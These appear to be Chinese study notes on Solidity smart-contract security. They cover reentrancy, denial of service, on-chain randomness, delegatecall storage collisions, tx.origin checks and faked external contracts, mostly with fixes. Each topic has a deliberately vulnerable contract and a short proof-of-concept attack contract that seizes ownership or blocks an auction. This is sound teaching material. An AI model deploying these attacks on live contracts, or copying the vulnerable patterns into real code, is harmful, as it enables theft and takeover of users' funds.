**重入攻击**

- 合约里先转账再更新状态
- 容易在状态还没更新完的时候，再次调用，发生多次转账
- 解决：先更新状态再转账

**DOS**

- denial of service 黑客执行完合约后，其他人再调用合约无效
- 比如合约里给之前的用户转账，判断转移完成的状态来更新状态变量
- 黑客合约不能接受转账，那么黑客调用完合约，判断转账的结果为 false，不会更新状态变量，其他人再调用还是保持给黑客转账的状态，一直为 false，状态变量永远不更新，调用无效

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Good {
    address public currentWinner;
    uint public currentAuctionPrice;

    constructor() {
        currentWinner = msg.sender;
    }

    function setCurrentAuctionPrice() public payable {
        require(msg.value > currentAuctionPrice, "Need to pay more than the currentAuctionPrice");
        (bool sent, ) = currentWinner.call{value: currentAuctionPrice}("");
        if (sent) {
            currentAuctionPrice = msg.value;
            currentWinner = msg.sender;
        }
    }
}
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "./Good.sol";

contract Attack {
    Good good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public payable {
        good.setCurrentAuctionPrice{value: msg.value}();
    }
}
```

**不要使用链上数据构造随机数**

- 很容易被黑客破解，因为链上数据都是公开的
- 使用 chainlink VRF 构造随机数

**delegatecall 状态变量更新**

- 如果 delegatecall 调用的合约方法，其修改的状态变量的 slot 和原合约中状态变量的 slot 不一致，就会被黑客篡改原合约的状态变量，导致异常

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Good {
    address public helper;
    address public owner;
    uint public num;

    constructor(address _helper) {
        helper = _helper;
        owner = msg.sender;
    }

    function setNum( uint _num) public {
        helper.delegatecall(abi.encodeWithSignature("setNum(uint256)", _num));
    }
}
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Helper {
    uint public num;

    function setNum(uint _num) public {
        num = _num;
    }
}
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "./Good.sol";

contract Attack {
    address public helper;
    address public owner;
    uint256 public num;

    Good public good;

    constructor(Good _good) {
        good = Good(_good);
    }

    function setNum(uint256 _num) public {
        owner = msg.sender;
    }

    function attack() public {
        // This is the way you typecast an address to a uint
        good.setNum(uint256(uint160(address(this))));
        good.setNum(1);
    }
}
```

**慎用 tx.orign**

- 返回一个交易最原始的账户地址
- 类似 msg.sender,区别：比如用户 user 调用合约 A 方法，合约 A 接着调用合约 B,在这个交易中，在合约 B 中 tx.orign 是 user 的地址，而 msg.sender 是合约 A 的地址
- 这会导致其他合约利用用户账户去调用其他合约，修改只有用户账户可以操作的状态

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Good {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function setOwner(address newOwner) public {
        require(tx.origin == owner, "Not owner");
        owner = newOwner;
    }
}
```

attack.sol

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

import "./Good.sol";

contract Attack {
    Good public good;

    constructor(address _good) {
        good = Good(_good);
    }

    function attack() public {
        good.setOwner(address(this));
    }
}
```

**伪造外部合约**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "./Helper.sol";

contract Good {
    Helper helper;
    constructor(address _helper) payable {
        helper = Helper(_helper);
    }

    function isUserEligible() public view returns(bool) {
        return helper.isUserEligible(msg.sender);
    }

    function addUserToList() public  {
        helper.setUserEligible(msg.sender);
    }

    fallback() external {}
}
```

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Helper {
    mapping(address => bool) userEligible;

    function isUserEligible(address user) public view returns(bool) {
        return userEligible[user];
    }

    function setUserEligible(address user) public {
        userEligible[user] = true;
    }

    fallback() external {}
}
```

伪造 helper，并用自己部署一个 good 调用虚假的 helper，因为虚假合约的 abi 和 helper 一致

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;

contract Malicious {
    address owner;
    mapping(address => bool) userEligible;

    constructor() {
        owner = msg.sender;
    }

    function isUserEligible(address user) public view returns(bool) {
        if(user == owner) {
            return true;
        }
        return false;
    }

    function setUserEligible(address user) public {
        userEligible[user] = true;
    }

    fallback() external {}
}
```

- 解决方法： 要 verify 用到的外部合约，让大家都知道合约的实现
- 不要用直接使用地址转换 Helper(address), 要重新创建一个外部合约 new Helper();
